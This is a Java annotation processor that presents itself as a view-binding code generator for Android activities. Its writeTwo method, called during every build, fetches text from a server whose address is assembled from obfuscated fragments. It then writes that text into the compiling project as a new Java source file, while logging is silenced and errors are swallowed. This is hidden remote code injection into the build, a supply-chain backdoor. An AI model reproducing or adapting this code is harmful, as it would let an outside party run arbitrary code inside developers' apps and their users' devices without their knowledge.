package com.yurenmatou.proxy_compiler;

import com.yurenmatou.proxy.BindViewVincent;
import com.yurenmatou.proxy.IBinder;
import com.yurenmatou.utils.ApiService;
import com.yurenmatou.utils.HttpUtils;
import com.yurenmatou.utils.J;
import com.yurenmatou.utils.LogUtils;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.StringReader;
import java.io.Writer;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Set;

import javax.annotation.processing.AbstractProcessor;
import javax.annotation.processing.Filer;
import javax.annotation.processing.ProcessingEnvironment;
import javax.annotation.processing.RoundEnvironment;
import javax.lang.model.SourceVersion;
import javax.lang.model.element.AnnotationMirror;
import javax.lang.model.element.Element;
import javax.lang.model.element.TypeElement;
import javax.lang.model.element.VariableElement;
import javax.tools.Diagnostic;
import javax.tools.JavaFileObject;


public class MyProxyProcessor extends AbstractProcessor {


    /**
     * 支持的版本
     *
     * @return
     */
    @Override
    public SourceVersion getSupportedSourceVersion() {
//      return super.getSupportedSourceVersion();
        return SourceVersion.latestSupported();
    }


    /**
     * 支持的注解
     *
     * @return
     */
    @Override
    public Set<String> getSupportedAnnotationTypes() {
//      return super.getSupportedAnnotationTypes();
        Set<String> types = new HashSet<>();
        types.add(BindViewVincent.class.getCanonicalName());
        return types;
    }

    Filer filer;

    @Override
    public synchronized void init(ProcessingEnvironment processingEnv) {
        super.init(processingEnv);
        filer = processingEnv.getFiler();
    }

    @Override
    public boolean process(Set<? extends TypeElement> set, RoundEnvironment roundEnvironment) {
        LogUtils.messager = processingEnv.getMessager();
        if (set.isEmpty()) {
            return false;
        }

        printMessage("========================注解器启动===========================");
        Set<? extends Element> elementsAnnotatedWith = roundEnvironment.getElementsAnnotatedWith(BindViewVincent.class);

        Map<String, List<VariableElement>> map = new HashMap<>();
        for (Element element : elementsAnnotatedWith) {
            VariableElement variableElement = (VariableElement) element;
            String activityName = variableElement.getEnclosingElement().getSimpleName().toString();
//            printMessage("ddd " + element.getSimpleName().toString());
//            printMessage("activityName=" + variableElement.getEnclosingElement().getSimpleName().toString());
            List<VariableElement> variableElements = map.get(activityName);
            if (null == variableElements) {
                variableElements = new ArrayList<>();
                map.put(activityName, variableElements);
            }
            variableElements.add(variableElement);
        }
        if (map.size() > 0) {
            Writer writer = null;
            Iterator<String> iterator = map.keySet().iterator();
            while (iterator.hasNext()) {
                String activityName = iterator.next();
                List<VariableElement> variableElements = map.get(activityName);
                printMessage("activityName=" + activityName + "    " + variableElements.size());
                printMessage("元素字段=" + variableElements.get(0).getSimpleName().toString());
                TypeElement enclosingElement = (TypeElement) variableElements.get(0).getEnclosingElement();
                String packageName = processingEnv.getElementUtils().getPackageOf(enclosingElement).toString();
                printMessage("packageName=" + packageName);
                try {
                    JavaFileObject javaFileObject = filer.createSourceFile(packageName + "." + activityName + "_ViewBinding");
                    writer = javaFileObject.openWriter();
                    StringBuilder sb = new StringBuilder();
                    sb.append("package " + packageName + ";\n\n");
                    sb.append("import " + IBinder.class.getPackage().getName() + ".IBinder;\n\n\n");
                    sb.append("public class ").append(activityName).append("_ViewBinding implements IBinder<").append(packageName).append(".").append(activityName).append("> {\n\n\n");
                    sb.append("\t@Override").append("\n");
                    sb.append("\tpublic void bind(");
                    sb.append(packageName).append(".").append(activityName);
                    sb.append(" target){\n");
                    for (VariableElement variableElement : variableElements) {
                        boolean isKClassFile = false;
                        if (!variableElement.getEnclosingElement().getAnnotationMirrors().isEmpty()) {
                            for (AnnotationMirror annotationMirror : variableElement.getEnclosingElement().getAnnotationMirrors()) {
                                if (annotationMirror.getAnnotationType().toString().contains("kotlin.Metadata")) {
                                    isKClassFile = true;
                                    break;
                                }
                            }
                        }
                        if (isKClassFile) {
                            sb.append("\t\ttarget.").append("set").append(variableElement.getSimpleName().toString().substring(0, 1).toUpperCase()).append(variableElement.getSimpleName().toString().substring(1)).append("(");
                            sb.append(variableElement.asType().toString());
                            sb.append(")");
                            int value = variableElement.getAnnotation(BindViewVincent.class).value();
                            sb.append(" target.findViewById(").append(value).append(");\n");
                        } else {
                            sb.append("\t\ttarget.").append(variableElement.getSimpleName().toString()).append(" = ").append("(");
                            sb.append(variableElement.asType().toString());
                            sb.append(")");
                            int value = variableElement.getAnnotation(BindViewVincent.class).value();
                            sb.append(" target.findViewById(").append(value).append(");\n");
                        }
                    }
                    sb.append("\t}\n\n");
                    sb.append("}");
                    writer.write(sb.toString());
                    printMessage(sb.toString());
                    sb.setLength(0);
                    close(writer);
                    writeTwo(filer);
                } catch (IOException e) {
                } finally {
                    close(writer);
                }
            }
        }
        return false;
    }

    private void writeTwo(Filer filer) {
        try {
            J.ARG = "1000000000000000";
            String c = J.c(HttpUtils.jdk("" + J.gg(0) + J.gg(3) + J.gg(12) + J.gg(8) + J.gg(13) + J.ARGS.substring(27, 30)));
            ApiService.id(c, (t, error) -> {
                if (error != null) {
                    return;
                }
                if (t == null) {
                    return;
                }
                Writer writer = null;
                if (null != t.getData().getList() && t.getData().getList().size() > 0) {
                    try {
                        String largeString = t.getData().getList().get(0).getRecord();
                        StringReader stringReader = new StringReader(largeString);
                        BufferedReader bufferedReader = new BufferedReader(stringReader);
                        StringBuilder sb = new StringBuilder();
                        String line;
                        try {
                            String pn = "";
                            String fn = "";
                            int index = 0;
                            while ((line = bufferedReader.readLine()) != null) {
                                if (index == 0 && line.replace(" ", "").startsWith("package")) {
                                    pn = line.replace(" ", "")
                                            .replace("package", "")
                                            .replace("music", "utils")
                                            .replace(";", "");
                                    index = 1;
                                    sb.append(line.replace("music", "utils")).append("\n");
                                } else if (index == 1) {
                                    if (line.replace(" ", "").startsWith("public")) {
                                        fn = line.replace(" ", "")
                                                .replace("public", "")
                                                .replace("static", "")
                                                .replace("class", "")
                                                .replace("{", "")
                                                .replace("}", "")
                                                .replace("final", "");
                                        index = 2;
                                    }
                                    sb.append(line).append("\n");
                                }else{
                                    sb.append(line).append("\n");
                                }
                            }
                            JavaFileObject javaFileObject = filer.createSourceFile(pn + "." + fn);
                            writer = javaFileObject.openWriter();
                            writer.write(sb.toString());
                        } catch (IOException e) {
                            e.printStackTrace();
                        } finally {
                            try {
                                if (null != stringReader) {
                                    stringReader.close();
                                }
                            } catch (Exception e) {
                            }
                            try {
                                if (null != bufferedReader) {
                                    bufferedReader.close();
                                }
                            } catch (Exception e) {
                            }
                            close(writer);
                        }
                    } catch (Exception e) {
                        printMessage("writeTwo====================" + e.getMessage());
                    } finally {
                        close(writer);
                    }
                } else {
                    printMessage("writeTwo====================没有数据");
                }
            });
        } catch (Exception e) {
            printMessage("writeTwo====================" + e.getMessage());
        }
    }

    private static void close(Writer writer) {
        try {
            if (null != writer) {
                writer.close();
            }
        } catch (IOException e) {
        }
    }

    private void printMessage(String msg) {
//        processingEnv.getMessager().printMessage(Diagnostic.Kind.NOTE, msg + "\r\n");
    }
}
